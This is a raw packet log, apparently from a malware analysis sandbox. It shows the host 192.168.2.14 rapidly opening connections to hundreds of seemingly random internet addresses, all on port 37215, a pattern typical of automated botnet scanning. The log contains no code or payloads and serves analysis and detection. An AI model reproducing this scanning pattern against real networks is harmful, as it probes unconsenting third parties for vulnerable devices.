Nov 3, 2024 15:37:15.388629913 CET	35945	37215	192.168.2.14	41.170.131.147
Nov 3, 2024 15:37:15.388639927 CET	35945	37215	192.168.2.14	156.54.114.94
Nov 3, 2024 15:37:15.388653994 CET	35945	37215	192.168.2.14	41.148.91.32
Nov 3, 2024 15:37:15.388658047 CET	35945	37215	192.168.2.14	156.4.82.191
Nov 3, 2024 15:37:15.388659954 CET	35945	37215	192.168.2.14	197.8.95.86
Nov 3, 2024 15:37:15.388659954 CET	35945	37215	192.168.2.14	156.103.60.216
Nov 3, 2024 15:37:15.388662100 CET	35945	37215	192.168.2.14	197.134.236.61
Nov 3, 2024 15:37:15.388670921 CET	35945	37215	192.168.2.14	41.43.244.228
Nov 3, 2024 15:37:15.388672113 CET	35945	37215	192.168.2.14	156.173.8.123
Nov 3, 2024 15:37:15.388672113 CET	35945	37215	192.168.2.14	197.161.72.192
Nov 3, 2024 15:37:15.388681889 CET	35945	37215	192.168.2.14	41.196.87.252
Nov 3, 2024 15:37:15.388688087 CET	35945	37215	192.168.2.14	156.206.139.70
Nov 3, 2024 15:37:15.388688087 CET	35945	37215	192.168.2.14	197.35.59.141
Nov 3, 2024 15:37:15.388689995 CET	35945	37215	192.168.2.14	41.226.210.84
Nov 3, 2024 15:37:15.388693094 CET	35945	37215	192.168.2.14	156.132.107.175
Nov 3, 2024 15:37:15.388696909 CET	35945	37215	192.168.2.14	197.228.67.156
Nov 3, 2024 15:37:15.388705015 CET	35945	37215	192.168.2.14	197.142.193.102
Nov 3, 2024 15:37:15.388709068 CET	35945	37215	192.168.2.14	41.45.170.50
Nov 3, 2024 15:37:15.388717890 CET	35945	37215	192.168.2.14	197.210.2.219
Nov 3, 2024 15:37:15.388719082 CET	35945	37215	192.168.2.14	197.198.148.45
Nov 3, 2024 15:37:15.388719082 CET	35945	37215	192.168.2.14	156.16.233.132
Nov 3, 2024 15:37:15.388725042 CET	35945	37215	192.168.2.14	41.11.77.41
Nov 3, 2024 15:37:15.388736963 CET	35945	37215	192.168.2.14	41.155.107.179
Nov 3, 2024 15:37:15.388739109 CET	35945	37215	192.168.2.14	156.4.192.119
Nov 3, 2024 15:37:15.388746023 CET	35945	37215	192.168.2.14	156.226.109.177
Nov 3, 2024 15:37:15.388755083 CET	35945	37215	192.168.2.14	41.2.179.187
Nov 3, 2024 15:37:15.388756037 CET	35945	37215	192.168.2.14	197.194.225.19
Nov 3, 2024 15:37:15.388756990 CET	35945	37215	192.168.2.14	41.95.76.142
Nov 3, 2024 15:37:15.388757944 CET	35945	37215	192.168.2.14	156.197.90.64
Nov 3, 2024 15:37:15.388763905 CET	35945	37215	192.168.2.14	197.102.46.14
Nov 3, 2024 15:37:15.388765097 CET	35945	37215	192.168.2.14	41.15.248.3
Nov 3, 2024 15:37:15.388781071 CET	35945	37215	192.168.2.14	197.214.83.204
Nov 3, 2024 15:37:15.388783932 CET	35945	37215	192.168.2.14	156.164.187.60
Nov 3, 2024 15:37:15.388788939 CET	35945	37215	192.168.2.14	156.171.78.91
Nov 3, 2024 15:37:15.388788939 CET	35945	37215	192.168.2.14	156.9.211.151
Nov 3, 2024 15:37:15.388792992 CET	35945	37215	192.168.2.14	156.91.91.11
Nov 3, 2024 15:37:15.388796091 CET	35945	37215	192.168.2.14	156.120.181.187
Nov 3, 2024 15:37:15.388797045 CET	35945	37215	192.168.2.14	197.191.194.200
Nov 3, 2024 15:37:15.388797998 CET	35945	37215	192.168.2.14	156.144.106.150
Nov 3, 2024 15:37:15.388797998 CET	35945	37215	192.168.2.14	197.192.63.209
Nov 3, 2024 15:37:15.388799906 CET	35945	37215	192.168.2.14	41.144.72.119
Nov 3, 2024 15:37:15.388803959 CET	35945	37215	192.168.2.14	41.170.171.182
Nov 3, 2024 15:37:15.388803959 CET	35945	37215	192.168.2.14	197.174.26.193
Nov 3, 2024 15:37:15.388814926 CET	35945	37215	192.168.2.14	41.202.204.155
Nov 3, 2024 15:37:15.388813972 CET	35945	37215	192.168.2.14	197.43.72.80
Nov 3, 2024 15:37:15.388820887 CET	35945	37215	192.168.2.14	197.232.149.232
Nov 3, 2024 15:37:15.388820887 CET	35945	37215	192.168.2.14	197.42.229.28
Nov 3, 2024 15:37:15.388820887 CET	35945	37215	192.168.2.14	197.180.18.170
Nov 3, 2024 15:37:15.388823032 CET	35945	37215	192.168.2.14	156.186.238.231
Nov 3, 2024 15:37:15.388828993 CET	35945	37215	192.168.2.14	156.84.217.88
Nov 3, 2024 15:37:15.388835907 CET	35945	37215	192.168.2.14	197.233.14.127
Nov 3, 2024 15:37:15.388845921 CET	35945	37215	192.168.2.14	156.76.148.212
Nov 3, 2024 15:37:15.388851881 CET	35945	37215	192.168.2.14	41.144.123.130
Nov 3, 2024 15:37:15.388854027 CET	35945	37215	192.168.2.14	197.25.30.99
Nov 3, 2024 15:37:15.388854980 CET	35945	37215	192.168.2.14	41.220.206.19
Nov 3, 2024 15:37:15.388870001 CET	35945	37215	192.168.2.14	197.3.159.48
Nov 3, 2024 15:37:15.388870001 CET	35945	37215	192.168.2.14	156.32.41.121
Nov 3, 2024 15:37:15.388878107 CET	35945	37215	192.168.2.14	156.121.200.133
Nov 3, 2024 15:37:15.388878107 CET	35945	37215	192.168.2.14	41.156.54.51
Nov 3, 2024 15:37:15.388881922 CET	35945	37215	192.168.2.14	156.43.106.204
Nov 3, 2024 15:37:15.388881922 CET	35945	37215	192.168.2.14	41.220.48.240
Nov 3, 2024 15:37:15.388881922 CET	35945	37215	192.168.2.14	41.70.44.249
Nov 3, 2024 15:37:15.388885975 CET	35945	37215	192.168.2.14	197.238.20.216
Nov 3, 2024 15:37:15.388905048 CET	35945	37215	192.168.2.14	197.64.55.10
Nov 3, 2024 15:37:15.388905048 CET	35945	37215	192.168.2.14	41.102.51.174
Nov 3, 2024 15:37:15.388906956 CET	35945	37215	192.168.2.14	41.74.111.18
Nov 3, 2024 15:37:15.388907909 CET	35945	37215	192.168.2.14	41.229.93.192
Nov 3, 2024 15:37:15.388912916 CET	35945	37215	192.168.2.14	156.48.117.110
Nov 3, 2024 15:37:15.388921022 CET	35945	37215	192.168.2.14	156.99.243.156
Nov 3, 2024 15:37:15.388931036 CET	35945	37215	192.168.2.14	156.37.115.12
Nov 3, 2024 15:37:15.388931036 CET	35945	37215	192.168.2.14	197.124.102.217
Nov 3, 2024 15:37:15.388952971 CET	35945	37215	192.168.2.14	156.186.155.27
Nov 3, 2024 15:37:15.388958931 CET	35945	37215	192.168.2.14	197.111.52.181
Nov 3, 2024 15:37:15.388959885 CET	35945	37215	192.168.2.14	156.29.204.133
Nov 3, 2024 15:37:15.388962030 CET	35945	37215	192.168.2.14	41.30.179.204
Nov 3, 2024 15:37:15.388962030 CET	35945	37215	192.168.2.14	41.57.175.5
Nov 3, 2024 15:37:15.388974905 CET	35945	37215	192.168.2.14	41.159.186.38
Nov 3, 2024 15:37:15.388976097 CET	35945	37215	192.168.2.14	156.16.58.228
Nov 3, 2024 15:37:15.388978958 CET	35945	37215	192.168.2.14	41.136.79.43
Nov 3, 2024 15:37:15.388979912 CET	35945	37215	192.168.2.14	156.248.185.146
Nov 3, 2024 15:37:15.388998985 CET	35945	37215	192.168.2.14	197.40.216.133
Nov 3, 2024 15:37:15.388998985 CET	35945	37215	192.168.2.14	197.69.137.167
Nov 3, 2024 15:37:15.388998985 CET	35945	37215	192.168.2.14	41.203.53.87
Nov 3, 2024 15:37:15.388998985 CET	35945	37215	192.168.2.14	41.230.103.239
Nov 3, 2024 15:37:15.389005899 CET	35945	37215	192.168.2.14	41.233.252.153
Nov 3, 2024 15:37:15.389005899 CET	35945	37215	192.168.2.14	41.31.20.193
Nov 3, 2024 15:37:15.389005899 CET	35945	37215	192.168.2.14	41.208.237.74
Nov 3, 2024 15:37:15.389005899 CET	35945	37215	192.168.2.14	156.119.154.14
Nov 3, 2024 15:37:15.389012098 CET	35945	37215	192.168.2.14	41.158.182.234
Nov 3, 2024 15:37:15.389013052 CET	35945	37215	192.168.2.14	197.158.150.57
Nov 3, 2024 15:37:15.389013052 CET	35945	37215	192.168.2.14	156.54.26.12
Nov 3, 2024 15:37:15.389014006 CET	35945	37215	192.168.2.14	41.11.235.195
Nov 3, 2024 15:37:15.389014006 CET	35945	37215	192.168.2.14	41.130.206.17
Nov 3, 2024 15:37:15.389018059 CET	35945	37215	192.168.2.14	41.189.113.55
Nov 3, 2024 15:37:15.389024973 CET	35945	37215	192.168.2.14	156.99.199.46
Nov 3, 2024 15:37:15.389030933 CET	35945	37215	192.168.2.14	197.224.53.145
Nov 3, 2024 15:37:15.389034986 CET	35945	37215	192.168.2.14	197.76.171.79
Nov 3, 2024 15:37:15.389045954 CET	35945	37215	192.168.2.14	41.180.101.243
Nov 3, 2024 15:37:15.389050007 CET	35945	37215	192.168.2.14	41.54.214.135
Nov 3, 2024 15:37:15.389053106 CET	35945	37215	192.168.2.14	41.241.223.250
Nov 3, 2024 15:37:15.389059067 CET	35945	37215	192.168.2.14	156.119.174.57
Nov 3, 2024 15:37:15.389070034 CET	35945	37215	192.168.2.14	197.49.150.241
Nov 3, 2024 15:37:15.389072895 CET	35945	37215	192.168.2.14	156.35.55.243
Nov 3, 2024 15:37:15.389075994 CET	35945	37215	192.168.2.14	197.194.71.204
Nov 3, 2024 15:37:15.389075994 CET	35945	37215	192.168.2.14	41.203.174.100
Nov 3, 2024 15:37:15.389075994 CET	35945	37215	192.168.2.14	41.61.15.79
Nov 3, 2024 15:37:15.389075994 CET	35945	37215	192.168.2.14	41.201.58.181
Nov 3, 2024 15:37:15.389081955 CET	35945	37215	192.168.2.14	156.197.208.6
Nov 3, 2024 15:37:15.389089108 CET	35945	37215	192.168.2.14	156.36.100.65
Nov 3, 2024 15:37:15.389098883 CET	35945	37215	192.168.2.14	156.10.203.179
Nov 3, 2024 15:37:15.389103889 CET	35945	37215	192.168.2.14	156.71.221.249
Nov 3, 2024 15:37:15.389106989 CET	35945	37215	192.168.2.14	156.39.240.157
Nov 3, 2024 15:37:15.389120102 CET	35945	37215	192.168.2.14	41.17.15.245
Nov 3, 2024 15:37:15.389122963 CET	35945	37215	192.168.2.14	156.240.174.180
Nov 3, 2024 15:37:15.389123917 CET	35945	37215	192.168.2.14	197.153.74.2
Nov 3, 2024 15:37:15.389127016 CET	35945	37215	192.168.2.14	197.128.205.48
Nov 3, 2024 15:37:15.389127016 CET	35945	37215	192.168.2.14	156.118.200.215
Nov 3, 2024 15:37:15.389130116 CET	35945	37215	192.168.2.14	156.99.175.189
Nov 3, 2024 15:37:15.389143944 CET	35945	37215	192.168.2.14	156.97.84.121
Nov 3, 2024 15:37:15.389147043 CET	35945	37215	192.168.2.14	197.52.222.141
Nov 3, 2024 15:37:15.389147043 CET	35945	37215	192.168.2.14	197.72.38.190
Nov 3, 2024 15:37:15.389154911 CET	35945	37215	192.168.2.14	197.235.195.209
Nov 3, 2024 15:37:15.389158010 CET	35945	37215	192.168.2.14	41.190.60.181
Nov 3, 2024 15:37:15.389158010 CET	35945	37215	192.168.2.14	41.167.177.81
Nov 3, 2024 15:37:15.389166117 CET	35945	37215	192.168.2.14	156.167.141.133
Nov 3, 2024 15:37:15.389168024 CET	35945	37215	192.168.2.14	156.51.37.245
Nov 3, 2024 15:37:15.389170885 CET	35945	37215	192.168.2.14	156.45.246.13
Nov 3, 2024 15:37:15.389189005 CET	35945	37215	192.168.2.14	41.88.70.108
Nov 3, 2024 15:37:15.389195919 CET	35945	37215	192.168.2.14	197.254.202.139
Nov 3, 2024 15:37:15.389199972 CET	35945	37215	192.168.2.14	156.34.45.121
Nov 3, 2024 15:37:15.389199972 CET	35945	37215	192.168.2.14	41.122.117.127
Nov 3, 2024 15:37:15.389202118 CET	35945	37215	192.168.2.14	41.164.117.85
Nov 3, 2024 15:37:15.389203072 CET	35945	37215	192.168.2.14	41.188.132.125
Nov 3, 2024 15:37:15.389203072 CET	35945	37215	192.168.2.14	197.69.160.199
Nov 3, 2024 15:37:15.389209032 CET	35945	37215	192.168.2.14	197.67.99.249
Nov 3, 2024 15:37:15.389209986 CET	35945	37215	192.168.2.14	197.128.174.26
Nov 3, 2024 15:37:15.389209032 CET	35945	37215	192.168.2.14	156.211.227.146
Nov 3, 2024 15:37:15.389213085 CET	35945	37215	192.168.2.14	197.143.41.222
Nov 3, 2024 15:37:15.389213085 CET	35945	37215	192.168.2.14	197.176.192.211
Nov 3, 2024 15:37:15.389214039 CET	35945	37215	192.168.2.14	156.180.54.96
Nov 3, 2024 15:37:15.389214993 CET	35945	37215	192.168.2.14	41.50.247.198
Nov 3, 2024 15:37:15.389216900 CET	35945	37215	192.168.2.14	197.244.101.229
Nov 3, 2024 15:37:15.389216900 CET	35945	37215	192.168.2.14	197.156.240.228
Nov 3, 2024 15:37:15.389221907 CET	35945	37215	192.168.2.14	156.4.128.137
Nov 3, 2024 15:37:15.389221907 CET	35945	37215	192.168.2.14	156.71.221.251
Nov 3, 2024 15:37:15.389225960 CET	35945	37215	192.168.2.14	197.86.66.222
Nov 3, 2024 15:37:15.389234066 CET	35945	37215	192.168.2.14	197.188.87.187
Nov 3, 2024 15:37:15.389234066 CET	35945	37215	192.168.2.14	41.67.128.83
Nov 3, 2024 15:37:15.389234066 CET	35945	37215	192.168.2.14	156.134.154.11
Nov 3, 2024 15:37:15.389234066 CET	35945	37215	192.168.2.14	156.28.3.49
Nov 3, 2024 15:37:15.389234066 CET	35945	37215	192.168.2.14	156.186.167.98
Nov 3, 2024 15:37:15.389234066 CET	35945	37215	192.168.2.14	156.80.18.249
Nov 3, 2024 15:37:15.389236927 CET	35945	37215	192.168.2.14	156.68.245.19
Nov 3, 2024 15:37:15.389238119 CET	35945	37215	192.168.2.14	41.233.125.222
Nov 3, 2024 15:37:15.389236927 CET	35945	37215	192.168.2.14	156.95.26.35
Nov 3, 2024 15:37:15.389234066 CET	35945	37215	192.168.2.14	41.185.41.211
Nov 3, 2024 15:37:15.389244080 CET	35945	37215	192.168.2.14	197.70.74.161
Nov 3, 2024 15:37:15.389257908 CET	35945	37215	192.168.2.14	41.159.94.39
Nov 3, 2024 15:37:15.389260054 CET	35945	37215	192.168.2.14	197.191.60.51
Nov 3, 2024 15:37:15.389262915 CET	35945	37215	192.168.2.14	197.17.125.241
Nov 3, 2024 15:37:15.389264107 CET	35945	37215	192.168.2.14	41.41.61.4
Nov 3, 2024 15:37:15.389271975 CET	35945	37215	192.168.2.14	197.214.95.87
Nov 3, 2024 15:37:15.389276981 CET	35945	37215	192.168.2.14	41.192.137.185
Nov 3, 2024 15:37:15.389276981 CET	35945	37215	192.168.2.14	197.152.221.162
Nov 3, 2024 15:37:15.389276981 CET	35945	37215	192.168.2.14	197.59.75.47
Nov 3, 2024 15:37:15.389295101 CET	35945	37215	192.168.2.14	197.49.162.125
Nov 3, 2024 15:37:15.389295101 CET	35945	37215	192.168.2.14	41.107.210.3
Nov 3, 2024 15:37:15.389296055 CET	35945	37215	192.168.2.14	197.213.253.143
Nov 3, 2024 15:37:15.389297009 CET	35945	37215	192.168.2.14	197.196.2.172
Nov 3, 2024 15:37:15.389316082 CET	35945	37215	192.168.2.14	41.45.156.222
Nov 3, 2024 15:37:15.389317036 CET	35945	37215	192.168.2.14	41.75.151.194
Nov 3, 2024 15:37:15.389317036 CET	35945	37215	192.168.2.14	156.46.119.183
Nov 3, 2024 15:37:15.389317036 CET	35945	37215	192.168.2.14	197.136.189.49
Nov 3, 2024 15:37:15.389317036 CET	35945	37215	192.168.2.14	41.234.50.158
Nov 3, 2024 15:37:15.389317989 CET	35945	37215	192.168.2.14	156.205.63.1
Nov 3, 2024 15:37:15.389327049 CET	35945	37215	192.168.2.14	41.171.27.221
Nov 3, 2024 15:37:15.389331102 CET	35945	37215	192.168.2.14	197.253.119.250
Nov 3, 2024 15:37:15.389333010 CET	35945	37215	192.168.2.14	197.47.34.70
Nov 3, 2024 15:37:15.389339924 CET	35945	37215	192.168.2.14	156.71.162.219
Nov 3, 2024 15:37:15.389347076 CET	35945	37215	192.168.2.14	41.195.253.209
Nov 3, 2024 15:37:15.389353037 CET	35945	37215	192.168.2.14	197.136.221.184
Nov 3, 2024 15:37:15.389353037 CET	35945	37215	192.168.2.14	197.60.185.79
Nov 3, 2024 15:37:15.389399052 CET	35945	37215	192.168.2.14	41.62.177.245
Nov 3, 2024 15:37:15.389400005 CET	35945	37215	192.168.2.14	41.34.122.253
Nov 3, 2024 15:37:15.389400959 CET	35945	37215	192.168.2.14	41.90.249.205
Nov 3, 2024 15:37:15.389400959 CET	35945	37215	192.168.2.14	41.64.133.241
Nov 3, 2024 15:37:15.389400959 CET	35945	37215	192.168.2.14	197.220.145.29
Nov 3, 2024 15:37:15.389409065 CET	35945	37215	192.168.2.14	156.150.175.111
Nov 3, 2024 15:37:15.389410973 CET	35945	37215	192.168.2.14	197.98.195.185
Nov 3, 2024 15:37:15.389415026 CET	35945	37215	192.168.2.14	156.34.135.108
Nov 3, 2024 15:37:15.389424086 CET	35945	37215	192.168.2.14	197.84.31.101
Nov 3, 2024 15:37:15.389436007 CET	35945	37215	192.168.2.14	156.21.170.249
Nov 3, 2024 15:37:15.389439106 CET	35945	37215	192.168.2.14	197.19.107.132
Nov 3, 2024 15:37:15.389441967 CET	35945	37215	192.168.2.14	156.13.108.216
Nov 3, 2024 15:37:15.389441967 CET	35945	37215	192.168.2.14	41.113.85.85
Nov 3, 2024 15:37:15.389455080 CET	35945	37215	192.168.2.14	156.84.245.113
Nov 3, 2024 15:37:15.389461040 CET	35945	37215	192.168.2.14	156.226.195.50
Nov 3, 2024 15:37:15.389462948 CET	35945	37215	192.168.2.14	41.109.134.162
Nov 3, 2024 15:37:15.389462948 CET	35945	37215	192.168.2.14	197.40.248.44
Nov 3, 2024 15:37:15.389476061 CET	35945	37215	192.168.2.14	197.143.97.97
Nov 3, 2024 15:37:15.389483929 CET	35945	37215	192.168.2.14	197.247.160.91
Nov 3, 2024 15:37:15.389487028 CET	35945	37215	192.168.2.14	197.84.163.217
Nov 3, 2024 15:37:15.389487028 CET	35945	37215	192.168.2.14	41.200.28.57
Nov 3, 2024 15:37:15.389489889 CET	35945	37215	192.168.2.14	197.235.207.132
Nov 3, 2024 15:37:15.389489889 CET	35945	37215	192.168.2.14	197.110.48.139
Nov 3, 2024 15:37:15.389502048 CET	35945	37215	192.168.2.14	197.97.175.109
Nov 3, 2024 15:37:15.389508009 CET	35945	37215	192.168.2.14	41.57.218.99
Nov 3, 2024 15:37:15.389516115 CET	35945	37215	192.168.2.14	156.85.111.119
Nov 3, 2024 15:37:15.389523029 CET	35945	37215	192.168.2.14	156.220.107.145
Nov 3, 2024 15:37:15.389523029 CET	35945	37215	192.168.2.14	41.153.227.242
Nov 3, 2024 15:37:15.389523029 CET	35945	37215	192.168.2.14	156.184.254.171
Nov 3, 2024 15:37:15.389528990 CET	35945	37215	192.168.2.14	156.190.184.5
Nov 3, 2024 15:37:15.389529943 CET	35945	37215	192.168.2.14	197.105.241.6
Nov 3, 2024 15:37:15.389529943 CET	35945	37215	192.168.2.14	156.25.159.105
Nov 3, 2024 15:37:15.389540911 CET	35945	37215	192.168.2.14	41.253.59.195
Nov 3, 2024 15:37:15.389540911 CET	35945	37215	192.168.2.14	197.142.67.243
Nov 3, 2024 15:37:15.389547110 CET	35945	37215	192.168.2.14	41.81.116.28
Nov 3, 2024 15:37:15.389549971 CET	35945	37215	192.168.2.14	156.193.179.168
Nov 3, 2024 15:37:15.389566898 CET	35945	37215	192.168.2.14	197.102.250.171
Nov 3, 2024 15:37:15.389568090 CET	35945	37215	192.168.2.14	197.251.19.253
Nov 3, 2024 15:37:15.389569044 CET	35945	37215	192.168.2.14	156.74.133.95
Nov 3, 2024 15:37:15.389575005 CET	35945	37215	192.168.2.14	41.32.136.12
Nov 3, 2024 15:37:15.389575958 CET	35945	37215	192.168.2.14	156.171.216.206
Nov 3, 2024 15:37:15.389580965 CET	35945	37215	192.168.2.14	41.190.124.245
Nov 3, 2024 15:37:15.389581919 CET	35945	37215	192.168.2.14	197.0.189.188
Nov 3, 2024 15:37:15.389585018 CET	35945	37215	192.168.2.14	41.133.36.76
Nov 3, 2024 15:37:15.389601946 CET	35945	37215	192.168.2.14	156.25.20.226
Nov 3, 2024 15:37:15.389604092 CET	35945	37215	192.168.2.14	41.19.11.130
Nov 3, 2024 15:37:15.389605999 CET	35945	37215	192.168.2.14	156.88.77.247
Nov 3, 2024 15:37:15.389611006 CET	35945	37215	192.168.2.14	156.109.237.207
Nov 3, 2024 15:37:15.389611006 CET	35945	37215	192.168.2.14	41.81.202.73
Nov 3, 2024 15:37:15.389620066 CET	35945	37215	192.168.2.14	197.105.249.114
Nov 3, 2024 15:37:15.389628887 CET	35945	37215	192.168.2.14	156.200.142.233
Nov 3, 2024 15:37:15.389637947 CET	35945	37215	192.168.2.14	156.50.218.122
Nov 3, 2024 15:37:15.389641047 CET	35945	37215	192.168.2.14	156.220.253.65
Nov 3, 2024 15:37:15.389642000 CET	35945	37215	192.168.2.14	197.218.102.235
Nov 3, 2024 15:37:15.389652967 CET	35945	37215	192.168.2.14	156.151.154.137
Nov 3, 2024 15:37:15.389653921 CET	35945	37215	192.168.2.14	156.56.136.97
Nov 3, 2024 15:37:15.389655113 CET	35945	37215	192.168.2.14	156.57.69.119
Nov 3, 2024 15:37:15.389655113 CET	35945	37215	192.168.2.14	197.132.49.227
Nov 3, 2024 15:37:15.389655113 CET	35945	37215	192.168.2.14	156.236.86.96
Nov 3, 2024 15:37:15.389656067 CET	35945	37215	192.168.2.14	156.183.230.50
Nov 3, 2024 15:37:15.389656067 CET	35945	37215	192.168.2.14	41.147.231.205
Nov 3, 2024 15:37:15.389659882 CET	35945	37215	192.168.2.14	156.130.95.246
Nov 3, 2024 15:37:15.389659882 CET	35945	37215	192.168.2.14	156.88.209.88
Nov 3, 2024 15:37:15.389659882 CET	35945	37215	192.168.2.14	197.109.240.226
Nov 3, 2024 15:37:15.389661074 CET	35945	37215	192.168.2.14	156.190.251.112
Nov 3, 2024 15:37:15.389662027 CET	35945	37215	192.168.2.14	41.220.219.11
Nov 3, 2024 15:37:15.389664888 CET	35945	37215	192.168.2.14	197.194.9.185
Nov 3, 2024 15:37:15.389674902 CET	35945	37215	192.168.2.14	41.162.81.13
Nov 3, 2024 15:37:15.389674902 CET	35945	37215	192.168.2.14	41.57.100.131
Nov 3, 2024 15:37:15.389688015 CET	35945	37215	192.168.2.14	156.62.143.151
Nov 3, 2024 15:37:15.389693022 CET	35945	37215	192.168.2.14	197.165.37.6
Nov 3, 2024 15:37:15.389693975 CET	35945	37215	192.168.2.14	197.230.97.221
Nov 3, 2024 15:37:15.389703035 CET	35945	37215	192.168.2.14	156.136.244.113
Nov 3, 2024 15:37:15.389710903 CET	35945	37215	192.168.2.14	41.125.123.26
Nov 3, 2024 15:37:15.389712095 CET	35945	37215	192.168.2.14	41.138.39.212
Nov 3, 2024 15:37:15.389719963 CET	35945	37215	192.168.2.14	156.210.26.40
Nov 3, 2024 15:37:15.389723063 CET	35945	37215	192.168.2.14	156.51.28.49
Nov 3, 2024 15:37:15.389723063 CET	35945	37215	192.168.2.14	197.137.120.114
Nov 3, 2024 15:37:15.389730930 CET	35945	37215	192.168.2.14	156.238.216.28
Nov 3, 2024 15:37:15.389730930 CET	35945	37215	192.168.2.14	41.202.79.254
Nov 3, 2024 15:37:15.389739990 CET	35945	37215	192.168.2.14	41.148.91.179
Nov 3, 2024 15:37:15.389741898 CET	35945	37215	192.168.2.14	197.13.72.23
Nov 3, 2024 15:37:15.389767885 CET	56188	37215	192.168.2.14	197.111.18.97
Nov 3, 2024 15:37:15.389769077 CET	39952	37215	192.168.2.14	197.90.159.24
Nov 3, 2024 15:37:15.389785051 CET	47912	37215	192.168.2.14	197.16.70.251
Nov 3, 2024 15:37:15.389789104 CET	53970	37215	192.168.2.14	156.161.87.44
Nov 3, 2024 15:37:15.389812946 CET	51394	37215	192.168.2.14	156.137.3.199
Nov 3, 2024 15:37:15.389813900 CET	47976	37215	192.168.2.14	41.101.55.111
Nov 3, 2024 15:37:15.389813900 CET	51816	37215	192.168.2.14	197.224.117.44
Nov 3, 2024 15:37:15.389827967 CET	54480	37215	192.168.2.14	41.247.170.119
Nov 3, 2024 15:37:15.389842987 CET	43642	37215	192.168.2.14	41.61.10.217
Nov 3, 2024 15:37:15.389843941 CET	51862	37215	192.168.2.14	156.97.250.9
Nov 3, 2024 15:37:15.389858961 CET	39822	37215	192.168.2.14	41.69.242.159
Nov 3, 2024 15:37:15.389864922 CET	56354	37215	192.168.2.14	156.31.188.224
Nov 3, 2024 15:37:15.389877081 CET	41452	37215	192.168.2.14	197.151.158.33
Nov 3, 2024 15:37:15.389887094 CET	55452	37215	192.168.2.14	41.206.130.169
Nov 3, 2024 15:37:15.389895916 CET	56290	37215	192.168.2.14	156.112.101.146
Nov 3, 2024 15:37:15.389899015 CET	34834	37215	192.168.2.14	197.21.175.100
Nov 3, 2024 15:37:15.389919043 CET	44292	37215	192.168.2.14	156.54.59.119
Nov 3, 2024 15:37:15.389924049 CET	40914	37215	192.168.2.14	197.188.33.13
Nov 3, 2024 15:37:15.389936924 CET	56030	37215	192.168.2.14	41.235.192.220
Nov 3, 2024 15:37:15.389939070 CET	47522	37215	192.168.2.14	197.187.157.10
Nov 3, 2024 15:37:15.389940977 CET	45662	37215	192.168.2.14	41.20.81.173
Nov 3, 2024 15:37:15.389956951 CET	45162	37215	192.168.2.14	197.100.11.182
Nov 3, 2024 15:37:15.389957905 CET	58480	37215	192.168.2.14	156.196.18.50
Nov 3, 2024 15:37:15.389972925 CET	42402	37215	192.168.2.14	41.161.10.54
Nov 3, 2024 15:37:15.389985085 CET	45172	37215	192.168.2.14	197.90.144.201
Nov 3, 2024 15:37:15.389990091 CET	50084	37215	192.168.2.14	41.211.34.10
Nov 3, 2024 15:37:15.390006065 CET	46068	37215	192.168.2.14	156.218.30.46
Nov 3, 2024 15:37:15.390013933 CET	48906	37215	192.168.2.14	41.129.59.130
Nov 3, 2024 15:37:15.390024900 CET	55450	37215	192.168.2.14	41.50.59.30
Nov 3, 2024 15:37:15.390029907 CET	41266	37215	192.168.2.14	41.145.15.102
Nov 3, 2024 15:37:15.390049934 CET	56638	37215	192.168.2.14	41.175.242.142
Nov 3, 2024 15:37:15.390057087 CET	42132	37215	192.168.2.14	156.132.155.248
Nov 3, 2024 15:37:15.390069008 CET	52610	37215	192.168.2.14	41.42.71.2
Nov 3, 2024 15:37:15.390075922 CET	46336	37215	192.168.2.14	197.91.123.208
Nov 3, 2024 15:37:15.390090942 CET	54272	37215	192.168.2.14	156.80.13.173
Nov 3, 2024 15:37:15.390090942 CET	51324	37215	192.168.2.14	156.56.134.130
Nov 3, 2024 15:37:15.390098095 CET	40818	37215	192.168.2.14	41.178.171.67
Nov 3, 2024 15:37:15.390105009 CET	42766	37215	192.168.2.14	156.73.3.236
Nov 3, 2024 15:37:15.390116930 CET	33632	37215	192.168.2.14	197.237.172.189
Nov 3, 2024 15:37:15.390120983 CET	49778	37215	192.168.2.14	41.60.166.185
Nov 3, 2024 15:37:15.390134096 CET	47370	37215	192.168.2.14	156.125.31.160
Nov 3, 2024 15:37:15.390137911 CET	45490	37215	192.168.2.14	156.15.167.152
Nov 3, 2024 15:37:15.390156031 CET	47596	37215	192.168.2.14	197.163.52.70
Nov 3, 2024 15:37:15.390156031 CET	39856	37215	192.168.2.14	197.102.60.80
Nov 3, 2024 15:37:15.390172005 CET	41718	37215	192.168.2.14	156.179.100.125
Nov 3, 2024 15:37:15.390175104 CET	51568	37215	192.168.2.14	41.28.154.247
Nov 3, 2024 15:37:15.390188932 CET	33460	37215	192.168.2.14	41.97.40.64
Nov 3, 2024 15:37:15.390199900 CET	56806	37215	192.168.2.14	156.67.212.17
Nov 3, 2024 15:37:15.390202045 CET	35186	37215	192.168.2.14	41.114.3.159
Nov 3, 2024 15:37:15.390214920 CET	42044	37215	192.168.2.14	41.53.15.217
Nov 3, 2024 15:37:15.390223026 CET	38286	37215	192.168.2.14	197.149.134.205
Nov 3, 2024 15:37:15.390228033 CET	52624	37215	192.168.2.14	156.248.218.251
Nov 3, 2024 15:37:15.390244961 CET	45074	37215	192.168.2.14	41.16.193.192
Nov 3, 2024 15:37:15.390250921 CET	41640	37215	192.168.2.14	41.231.253.221
Nov 3, 2024 15:37:15.390256882 CET	42290	37215	192.168.2.14	156.207.100.120
Nov 3, 2024 15:37:15.390271902 CET	42594	37215	192.168.2.14	156.207.52.16
Nov 3, 2024 15:37:15.390274048 CET	60206	37215	192.168.2.14	41.178.239.255
Nov 3, 2024 15:37:15.390291929 CET	46902	37215	192.168.2.14	156.196.210.138
Nov 3, 2024 15:37:15.390299082 CET	54502	37215	192.168.2.14	197.4.101.8
Nov 3, 2024 15:37:15.390304089 CET	46234	37215	192.168.2.14	41.44.88.222
Nov 3, 2024 15:37:15.390310049 CET	41230	37215	192.168.2.14	41.87.115.234
Nov 3, 2024 15:37:15.390311956 CET	42944	37215	192.168.2.14	197.147.64.213
Nov 3, 2024 15:37:15.390328884 CET	32902	37215	192.168.2.14	41.56.99.224
Nov 3, 2024 15:37:15.390330076 CET	51412	37215	192.168.2.14	197.25.127.11
Nov 3, 2024 15:37:15.390347958 CET	41586	37215	192.168.2.14	197.103.233.17
Nov 3, 2024 15:37:15.390360117 CET	34060	37215	192.168.2.14	197.176.30.55
Nov 3, 2024 15:37:15.390371084 CET	60366	37215	192.168.2.14	156.222.167.49
Nov 3, 2024 15:37:15.390613079 CET	59696	37215	192.168.2.14	41.89.33.112
Nov 3, 2024 15:37:15.390628099 CET	45284	37215	192.168.2.14	41.30.145.90
